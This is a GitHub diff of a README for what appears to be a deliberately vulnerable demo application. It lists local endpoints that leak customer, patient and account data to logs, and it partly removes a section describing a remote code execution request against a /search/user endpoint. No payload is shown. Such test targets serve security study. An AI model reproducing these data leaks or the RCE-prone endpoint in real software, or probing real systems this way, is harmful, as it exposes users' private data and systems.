You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: README.md
+11-25Lines changed: 11 additions & 25 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -19,34 +19,22 @@ Once the application starts, vulnerabilites and exposures in it can be tested wi
19
19
20
20
### Sensitive Data Leaks to Log
21
21
22
-
| URL |Purpose |
22
+
| URL | Purpose |
23
23
| --- | ------- |
24
-
|`http://localhost:8081/customers/1`| Returns JSON representation of Customer resource based on Id (1) specified in URL |
25
-
|`http://localhost:8081/customers`| Returns JSON representation of all available Customer resources |
26
-
|`http://localhost:8081/patients`| Returns JSON representation of all available patients in record |
27
-
|`http://localhost:8081/account/1`| Returns JSON representation of Account based on Id (1) specified |
28
-
|`http://localhost:8081/account`| Returns JSON representation of all available accounts and their details |
24
+
|http://localhost:8081/customers/1| Returns JSON representation of Customer resource based on Id (1) specified in URL |
25
+
|http://localhost:8081/customers| Returns JSON representation of all available Customer resources |
26
+
|http://localhost:8081/patients| Returns JSON representation of all available patients in record |
27
+
|http://localhost:8081/account/1| Returns JSON representation of Account based on Id (1) specified |
28
+
|http://localhost:8081/account| Returns JSON representation of all available accounts and their details |
29
29
30
30
All the above requests leak sensitive medical and PII data to the logging service. In addition other endpoints such as `/saveSettings`, `/search/user`, `/admin/login` etc. are also available. Along with the list above, users can explore variations of `GET`, `POST` and `PUT` requests sent to these endpoints.
31
31
32
32
### Remote Code Execution
33
33
34
-
An RCE can be triggered through the `/search/user` endpoint by sending a `POST` request as follows:
35
-
```
36
-
POST /search/user HTTP/1.1
37
-
Host: localhost:8081
38
-
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0
0 commit comments